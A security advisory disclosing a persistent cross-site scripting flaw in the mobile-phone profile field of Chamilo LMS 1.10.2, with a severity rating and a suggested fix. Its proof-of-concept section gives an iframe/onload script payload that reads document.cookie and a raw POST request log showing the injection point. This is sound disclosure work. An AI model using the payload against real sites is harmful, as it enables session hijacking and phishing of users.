Chamilo LMS 1.10.2 Cross Site Scripting
Posted on 16 March 2016
Document Title: =============== Chamlio LMS v1.10.2 - (Profile) Persistent Web Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1781 Release Date: ============= 2016-03-14 Vulnerability Laboratory ID (VL-ID): ==================================== 1781 Common Vulnerability Scoring System: ==================================== 3.4 Product & Service Introduction: =============================== Chamilo is an open-source (under GNU/GPL licensing) e-learning and content management system, aimed at improving access to education and knowledge globally. It is backed up by the Chamilo Association, which has goals including the promotion of the software, the maintenance of a clear communication channel and the building of a network of services providers and software contributors. The Chamilo project aims at ensuring the availability and quality of education at a reduced cost, through the distribution of its software free of charge, the improvement of its interface for 3rd world countries devices portability and the provision of a free access public e-learning campus. (Copy of the Vendor Homepage: https://chamilo.org/chamilo-lms/ ) Abstract Advisory Information: ============================== An independent vulnerability laboratory researcher discovered an application-side cross site vulnerability in the offical Chamilo LMS web-application. Vulnerability Disclosure Timeline: ================================== 2016-03-14: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Chamlio Product: Chamlio LMS - Content Management System (Web-Application) 1.10.2 Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ A persistent cross site scripting web vulnerability has been discoverd in the offical Chamilo LMS content management web-application. The security vulnerability allows remote attackers to inject own script code to the application-side of the affected application module. The vulnerability is Located in `User Profile` page of the web-application. Remote attackers with low privileged web-application user accounts are able to inject own malicious script code via POST method request to the application-side. The injection point is the vulnerable [extra_mobile_phone_number] parameter in upload POST method request. The request method to inject is POST and the vulnerability is located to the application-side of the vulnerable online-service. The security risk of the application-side vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.4. Exploitation of the persistent web vulnerability requires a low privileged ios device account with restricted access and low user interaction. Successful exploitation of the vulnerabilities results in persistent phishing mails, session hijacking, persistent external redirect to malicious sources and application-side manipulation of affected or connected module context. Request Method(s): [+] POST Affected Module(s): [+] auth/profile.php Vulnerable Parameter(s): [+] extra_mobile_phone_number Proof of Concept (PoC): ======================= The security vulnerability can be exploited by remote attackers with low privileged web-application user account and low user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. User edited his own profile throught registration process or throught edit user profile option in chamilo LMS platform 2. User fill in the option for his/her mobile phone with a persistent code [ '><iframe src=http://vuln-lab.com onload=alert(document.cookie) < ] --- PoC Session Logs [POST] --- POST /site/main/auth/profile.php? HTTP/1.1 Host: Chamilo.com User-Agent: Mozilla/5.0 (X11; Linux i686; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://Chamilo.com/main/auth/profile.php Cookie: defaultMyCourseView15=0; __cfduid=dcb5fdb8a711dd176639addf2c390449a331452648620; ch_sid=d8e8ff97d740sq22afca42853b2dca29273 Connection: keep-alive Content-Type: multipart/form-data; boundary=---------------------------37939813317594530581121058221 Content-Length: 2561 -----------------------------37939813317594530581121058221 Content-Disposition: form-data; name="firstname" user -----------------------------37939813317594530581121058221 Content-Disposition: form-data; name="lastname" amer -----------------------------37939813317594530581121058221 Content-Disposition: form-data; name="username" lawrenceamer -----------------------------37939813317594530581121058221 Content-Disposition: form-data; name="official_code" -----------------------------37939813317594530581121058221 Content-Disposition: form-data; name="email" user@gmail.com -----------------------------37939813317594530581121058221 Content-Disposition: form-data; name="phone" -----------------------------37939813317594530581121058221 Content-Disposition: form-data; name="picture"; filename="" Content-Type: application/octet-stream -----------------------------37939813317594530581121058221 Content-Disposition: form-data; name="language" english -----------------------------37939813317594530581121058221 Content-Disposition: form-data; name="password0" -----------------------------37939813317594530581121058221 Content-Disposition: form-data; name="password1" -----------------------------37939813317594530581121058221 Content-Disposition: form-data; name="password2" -----------------------------37939813317594530581121058221 Content-Disposition: form-data; name="extra_mail_notify_invitation" 1 -----------------------------37939813317594530581121058221 Content-Disposition: form-data; name="extra_mail_notify_message" 1 -----------------------------37939813317594530581121058221 Content-Disposition: form-data; name="extra_mail_notify_group_message" 1 -----------------------------37939813317594530581121058221 Content-Disposition: form-data; name="extra_mobile_phone_number" [XSS PERSISTENT CODE ] -----------------------------37939813317594530581121058221 Content-Disposition: form-data; name="apply_change" -----------------------------37939813317594530581121058221 Content-Disposition: form-data; name="_qf__profile" -----------------------------37939813317594530581121058221 Content-Disposition: form-data; name="MAX_FILE_SIZE" 134217728 -----------------------------37939813317594530581121058221 Content-Disposition: form-data; name="cropResult" -----------------------------37939813317594530581121058221 Content-Disposition: form-data; name="item_id" 15 -----------------------------37939813317594530581121058221-- Solution - Fix & Patch: ======================= The vulnerability can be patched by a secure parse and encode of vulnerable [extra_mobile_phone_number] parameter that is used for the input field. Restrict the input and disallow usage of special chars. Filter and setup a secure exception handling that prevents the persistent execution in the output location of the profile. Security Risk: ============== The security risk of the application-side validation web vulnerability in the profile module is estimated as medium. (CVSS 3.4) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Lawrence Amer - http://www.vulnerability-lab.com/show.php?user=Lawrence%20Amer Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. 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